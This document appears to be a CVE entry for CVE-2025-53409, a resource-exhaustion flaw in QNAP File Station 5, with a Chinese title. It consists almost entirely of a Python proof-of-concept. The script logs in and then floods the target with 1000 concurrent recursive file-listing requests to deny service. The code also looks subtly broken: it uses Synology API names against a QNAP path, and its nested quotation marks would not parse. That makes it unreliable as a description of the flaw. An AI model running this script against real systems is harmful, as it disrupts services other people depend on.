CVE-2025-53409 QNAP File Station 5 资源分配无限制漏洞

import requests import concurrent.futures import time # CVE-2025-53409 PoC - Resource Exhaustion Attack # Target: QNAP File Station 5 # Requirement: Valid user credentials TARGET_URL = "https://<target-ip>/cgi-bin/filestation/" USERNAME = "<attacker-account>" PASSWORD = "<attacker-password>" def create_session(): """Create authenticated session""" session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } # Perform authentication session.post(TARGET_URL + "auth.cgi", data=login_data) return session def resource_exhaustion_request(session): """Send resource-intensive request to File Station""" try: # Large file listing request params = { "api": "SYNO.FileStation.List", "method": "list", "version": 2, "path": "/", "recursive": True, "additional": "["size","time","perm"]" } session.get(TARGET_URL + "request.cgi", params=params) return True except Exception as e: print(f"Request failed: {e}") return False def exploit(): """Execute resource exhaustion attack""" session = create_session() print("Starting resource exhaustion attack...") # Send concurrent requests to exhaust resources with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor: futures = [executor.submit(resource_exhaustion_request, session) for _ in range(1000)] results = [f.result() for f in concurrent.futures.as_completed(futures)] print(f"Attack completed. {sum(results)} requests sent.") if __name__ == "__main__": exploit()